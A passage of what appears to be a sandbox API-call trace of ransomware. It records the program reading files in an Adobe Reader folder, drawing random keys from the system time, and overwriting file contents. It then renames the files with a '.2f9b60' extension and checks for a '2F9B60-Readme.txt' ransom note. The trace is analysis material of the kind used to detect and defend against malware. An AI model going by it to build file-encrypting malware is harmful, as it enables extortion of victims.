liDistanceToMove=0x41bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.588] ReadFile (in: hFile=0x1760, lpBuffer=0x2dcaf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dcaf848, lpOverlapped=0x0 | out: lpBuffer=0x2dcaf800*, lpNumberOfBytesRead=0x2dcaf848*=0x4, lpOverlapped=0x0) returned 1 [0103.613] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0103.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0103.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0103.613] NtQuerySystemTime (in: CurrentTime=0x2dcaf740 | out: CurrentTime=0x2dcaf740*=132462177091138000) returned 0x0 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x38aa649e [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0xd88ea43 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x14147bc1 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0xdf99f43 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x67b681f2 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x3e12bba8 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x74612a77 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x5783290c [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x49470444 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x4a5ca4b5 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x34820278 [0103.613] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x763820af [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x4e2589e [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x6bae9d9e [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x556d37a1 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x3b8ce7bd [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x7826fe4f [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x5ba60373 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x635f4dc4 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x295094c0 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x5e554fc6 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x41f174a8 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x253b9729 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x51571049 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x674fe40f [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x82bdc8f [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x5d8a7f01 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x3bb3b326 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x2c5c55aa [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x51432a6a [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x4a741363 [0103.614] RtlRandomEx (in: Seed=0x2dcaf730 | out: Seed=0x2dcaf730) returned 0x6c4311a4 [0103.623] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.623] ReadFile (in: hFile=0x1760, lpBuffer=0x41ed78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2dcaf7a0, lpOverlapped=0x0 | out: lpBuffer=0x41ed78d0*, lpNumberOfBytesRead=0x2dcaf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.675] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0103.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0103.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0103.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef9560 [0103.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0103.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0103.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0103.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0103.676] WriteFile (in: hFile=0x1760, lpBuffer=0x41ef9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2dcaf7a0, lpOverlapped=0x0 | out: lpBuffer=0x41ef9560*, lpNumberOfBytesWritten=0x2dcaf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef9560) returned 1 [0104.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ed78d0) returned 1 [0104.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20263530 [0104.083] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.083] WriteFile (in: hFile=0x1760, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2dcaf850, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2dcaf850*=0x108, lpOverlapped=0x0) returned 1 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0104.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0104.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0104.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f6b0 [0104.220] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="77") returned 2 [0104.220] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="3c") returned 2 [0104.220] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="57") returned 2 [0104.220] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="12") returned 2 [0104.220] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.220] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="12") returned 2 [0104.220] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="04") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="10") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="79") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="45") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="36") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="f8") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="7b") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="c6") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="b9") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="0c") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="f1") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="44") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="d3") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="9b") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="4d") returned 2 [0104.221] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="23") returned 2 [0104.221] RtlInitAnsiString (in: DestinationString=0x2dcaf8c8, SourceString="773c5712e6120410794536f87bc6b90cf144d39b4d23" | out: DestinationString="773c5712e6120410794536f87bc6b90cf144d39b4d23") [0104.221] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcaf898, SourceString="773c5712e6120410794536f87bc6b90cf144d39b4d23", AllocateDestinationString=1 | out: DestinationString="773c5712e6120410794536f87bc6b90cf144d39b4d23") returned 0x0 [0104.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5e10 [0104.221] wcscat (in: _Dest=0x20503890, _Source="773c5712e61" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\773c5712e61") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\773c5712e61" [0104.221] wcscat (in: _Dest=0x20503890, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\773c5712e61.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\773c5712e61.2f9b60" [0104.222] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\773c5712e61.2f9b60", NtPathName=0x2dcaf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\773c5712e61.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205df50 [0107.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205df50) returned 1 [0107.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b9b0) returned 1 [0107.393] NtQueryInformationFile (in: FileHandle=0x1760, IoStatusBlock=0x2dcaf8d8, FileInformation=0x2dcaf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2dcaf8d8, FileInformation=0x2dcaf8e8) returned 0x0 [0107.393] NtSetInformationFile (FileHandle=0x1760, IoStatusBlock=0x2dcaf8d8, FileInformation=0x2dcaf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0107.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5e10) returned 1 [0107.396] FlushFileBuffers (hFile=0x1760) returned 1 [0107.485] CloseHandle (hObject=0x1760) returned 1 [0107.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8677c0 [0107.488] wcscpy (in: _Dest=0x1b8677c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0107.488] wcscat (in: _Dest=0x1b8677c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0107.488] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0107.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0107.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 Thread: id = 896 os_tid = 0x14a8 [0101.107] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm")) returned 0x20 [0104.845] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm", dwFileAttributes=0x20) returned 1 [0105.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1738 [0105.099] GetFileSizeEx (in: hFile=0x1738, lpFileSize=0x2db3f960 | out: lpFileSize=0x2db3f960*=16818) returned 1 [0105.099] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x41ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.099] ReadFile (in: hFile=0x1738, lpBuffer=0x2db3f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2db3f928, lpOverlapped=0x0 | out: lpBuffer=0x2db3f8e0*, lpNumberOfBytesRead=0x2db3f928*=0x4, lpOverlapped=0x0) returned 1 [0105.202] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0105.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0105.202] NtQuerySystemTime (in: CurrentTime=0x2db3f820 | out: CurrentTime=0x2db3f820*=132462177106894000) returned 0x0 [0105.202] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x55fb7da3 [0105.202] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0xddc6405 [0105.202] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x2460cff1 [0105.202] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x2b76f4de [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x30432001 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x67b9629 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x377da3d5 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x2c541724 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x4ccdd401 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x680f768 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x20f4fc03 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x28ded62 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x42c5419e [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x15474216 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x2749250b [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x26f50a90 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x41f1bbad [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x3b3923ac [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x26b36527 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x52539767 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x419c224 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x10ba0bce [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x31cba328 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0xa87315c [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x192a7ac2 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x1d2ff0b4 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x703c0a0b [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x40068cfa [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0xddc6405 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x11a4f6e6 [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x5ce63e6b [0105.203] RtlRandomEx (in: Seed=0x2db3f810 | out: Seed=0x2db3f810) returned 0x74512a41 [0105.245] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.245] ReadFile (in: hFile=0x1738, lpBuffer=0x41f4c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2db3f880, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesRead=0x2db3f880*=0x3c00, lpOverlapped=0x0) returned 1 [0105.337] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0105.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0105.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0105.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0105.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0105.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0105.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.338] WriteFile (in: hFile=0x1738, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2db3f880, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2db3f880*=0x3c00, lpOverlapped=0x0) returned 1 [0105.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0105.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0105.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a6bf0 [0105.386] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.386] WriteFile (in: hFile=0x1738, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2db3f930, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x2db3f930*=0x106, lpOverlapped=0x0) returned 1 [0105.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0105.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0105.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0105.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0105.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0105.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0105.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0105.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632c0) returned 1 [0105.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0105.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f6b0 [0105.540] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="35") returned 2 [0105.540] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="85") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="44") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="0f") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="46") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="84") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="e4") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="b5") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="d7") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="0d") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="de") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="c0") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="06") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="72") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="05") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="1a") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="58") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="4a") returned 2 [0105.541] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="de") returned 2 [0105.541] RtlInitAnsiString (in: DestinationString=0x2db3f9a8, SourceString="3585440f4684e4b5d70ddec05a0672051a584ade" | out: DestinationString="3585440f4684e4b5d70ddec05a0672051a584ade") [0105.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x2db3f978, SourceString="3585440f4684e4b5d70ddec05a0672051a584ade", AllocateDestinationString=1 | out: DestinationString="3585440f4684e4b5d70ddec05a0672051a584ade") returned 0x0 [0105.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c1f0 [0105.542] RtlFreeAnsiString (AnsiString="3") [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f6b0) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7220) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a72b0) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6bf0) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260fb0) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0105.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0105.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e190 [0105.543] wcscat (in: _Dest=0x1b85e190, _Source="3585440f46" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\3585440f46") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\3585440f46" [0105.543] wcscat (in: _Dest=0x1b85e190, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\3585440f46.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\3585440f46.2f9b60" [0105.543] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\3585440f46.2f9b60", NtPathName=0x2db3f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\3585440f46.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x204ffe10 [0105.543] NtSetInformationFile (FileHandle=0x1738, IoStatusBlock=0x2db3f9f0, 